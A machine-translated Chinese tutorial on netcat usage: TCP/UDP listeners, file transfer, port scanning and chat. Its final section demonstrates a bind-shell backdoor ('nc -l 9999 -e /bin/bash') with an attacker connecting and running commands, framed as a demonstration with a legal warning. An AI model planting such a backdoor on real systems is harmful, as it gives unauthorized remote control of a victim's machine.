网猫 是一款功能强大且用途广泛的网络工具,可用于 Linux、Mac 和 Windows 机器。 对于对网络通信感兴趣的每个人来说,它都易于使用和必不可少的学习。
Netcat 的核心功能是允许两台计算机连接和共享资源。 这个名字是网络和连接的组合,这是一个将事物连接在一起的花哨的词。
可以通过 TCP 或 UDP 端口直接在机器之间建立连接。 一旦建立起来,就有许多潜在的用例。 通信可以双向工作,因此文件或信息可以从侦听器移动到客户端或从客户端移动到侦听器。
Netcat 因其广泛的功能而被称为 IT “瑞士军刀”。 它可以用于简单的文件发送、聊天、网络服务、远程运行代码。 该列表广泛而多样。
我将在本文中重点介绍一些更常见的应用程序。
众所周知,netcat 可用于创建“后门”访问。 我将解释它是如何工作的,但请记住,由于它可能被恶意使用,它不再是 nc 软件的一部分。
Netcat (nc) 命令示例
下面是 nc 命令的语法:
nc [options] [hostname] [port]
语法可能因应用程序而异,但对于大多数用途,您的命令将遵循此基本模式。
让我们来看看
1. 使用 TCP 和 netcat 命令创建连接
正如我之前提到的,netcat 的核心功能是将两台机器连接在一起。 您可以使用设置连接 TCP 要连接两台单独的机器,您还可以使用终端模拟该连接。
听力机器:
nc -l 8080
此命令打开端口 8080 并告诉机器开始侦听此端口。
为了建立连接,您将使用另一个终端并输入以下内容。
客户端机器:
nc 127.0.0.1 8080
您也可以使用“localhost”代替 IP,或者如果您要进行远程连接,则在此处使用您的第二台 PC 的 IP。
就是这样,您已经打开了一个 TCP 端口并在两个系统之间建立了连接。
TCP与UDP的快速介绍
为什么我们默认使用 TCP? TCP 是一种比 TCP 更古老的技术 UDP 它们在 OSI 模型的不同层次上运行。 我将简要概述它们之间的差异,并描述一些您可以选择其中一种的情况。
TCP具有很强的纠错能力。 这意味着什么? 基本上,这意味着当数据包在系统之间传输时,会执行连续测试。 这些测试确保来自系统 A 的信息准确地复制到系统 B。这是信息在网络(互联网)中传播时所发生情况的一个非常简化的版本。
但是,互联网通信中使用了许多协议,而不仅仅是 TCP。 UDP 的规则与 TCP 不同。 两者都不一定“更好”,但他们每个人都可以擅长执行不同的任务。
为什么我们要使用 UDP over TCP,反之亦然? 这取决于应用程序。 TCP 速度较慢,但更可靠地准确传输数据。
在速度比可靠性传输信息更重要的情况下,可以选择 UDP。 一 example 其中包括流数据,例如视频。 视频可以通过 UDP 更快地传输,即使传输中出现错误,也不太可能影响用户体验。
2. 通过 nc 命令使用 UDP 创建连接
建立 UDP 连接的步骤与我们已经遵循的步骤几乎相同。 您将添加一个选项标志来指定您要打开的端口类型是 UDP,而不是默认的 TCP。
nc -l -u 999
就是这么简单。 这就是打开 UDP 端口“999”所需要做的一切。
您可能想知道是否可以使用具有相同端口号的 TCP 和 UDP。 你可以,因为它们是单独的协议。
3.使用nc命令在远程系统之间传输文件
还有其他方法可以将文件从一个系统传输到另一个系统。 为此,您还可以使用 netcat 命令。
为了这 example,我创建了一个演示,说明从我的 Linux 机器到我的 MacBook Pro 的远程文件传输。
设置 Linux PC 以接收
nc -l 9999 > fromMac.file
您开始在 TCP 端口 9999 上侦听接收计算机。’>
‘ 告诉机器您希望传输文件。 后面的名称是文件的本地名称。
设置 Mac PC 以发送
nc 172.20.1.168 9999 < toLinux.file
这里的IP地址属于Linux机器。 您将符号翻转为 ‘<
‘ 并且文件 ‘toLinux.file’ 将作为 ‘fromMac.file’ 复制到远程计算机上。
这是一个 example 使用两台不同的机器发送文件。

4.使用nc命令进行端口扫描
端口扫描可能有更有效的选项,但可以使用 netcat 完成。 由于大多数操作系统都默认安装了 netcat,因此如果您需要进行一些快速故障排除,很高兴知道如何执行此操作。 您将使用“-n”并显示详细输出。
nc -v -n 127.0.0.1 1-100
这会尝试与 1-100 之间的端口建立连接。 80 端口是 HTTP,我相信你们中的许多人都知道。 该端口通常在机器上打开,因为它用于连接到 Internet。
当我使用这个命令时,我实际上是在尝试连接到 1-100 之间的所有端口。 它成功连接到端口 80,但从 Apache. 我最终在终端上得到了一些 HTML 输出,因为我的计算机将其视为错误的页面请求。
[...]
nc: connect to 127.0.0.1 port 77 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 78 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 79 (tcp) failed: Connection refused
Connection to 127.0.0.1 80 port [tcp/*] succeeded!
HTTP/1.1 400 Bad Request
Date: Fri, 20 Dec 2019 15:08:29 GMT
Server: Apache/2.4.38 (Ubuntu)
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Ubuntu) Server at pop-os.localdomain Port 80</address>
</body></html>
零 I/O 模式
为避免这种情况,您可以使用 -z
标志,代表零输入/输出。 这是 netcat 的内置端口扫描模式。 我仍然使用相同的语言,但它实际上并没有连接到端口 80,从而产生错误的请求错误。 相反,它继续通过所有扫描的端口。
5. 与网猫聊天
这是使用 netcat 的一种更有趣的方式。 当你像上面那样建立 TCP 连接时,你实际上可以在机器之间“聊天”。 在一个短信和聊天应用无处不在的时代,它不那么新颖了,但这在 1996 年会让人们大吃一惊。
这是一个动画,展示了我从一个终端到另一个终端的对话。

很酷,对吧?
额外提示:使用 nc 命令创建后门
我将仅出于演示目的进行展示。 请注意,未经授权使用此命令可能会被视为您所在地区的犯罪活动。
事实上,这个命令不再对“nc”做任何事情。 有办法做到这一点,但你必须在其他地方找到它们。 再一次,这只是为了展示能力。
这 -e 标志使某些东西可执行。 恶意行为者获取访问权限的一种常见方法是在开放端口上创建这样的后门,并使用它来执行脚本或以其他方式操纵文件系统。
因此,如果攻击者以某种方式获得了对“受害者”机器的访问权限,他/她可以创建一个像这样的后门:
nc -l 9999 -e /bin/bash
现在攻击者可以使用这个后门远程访问系统并执行命令。 因此,从攻击者的系统:
nc 192.168.1.10 9999
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
firefox linuxhandbook.com
这使攻击者能够从命令行远程访问您的计算机。 连接后,我可以运行 bash 命令类似于我直接使用计算机时的命令。
我敢肯定,您可以想象一个没有最好意图的人如何滥用这种权力。 这使得监控任何网络上的端口活动非常重要。
我希望你喜欢这个 netcat 命令的简短介绍。 与往常一样,请在评论部分告诉我们您的想法。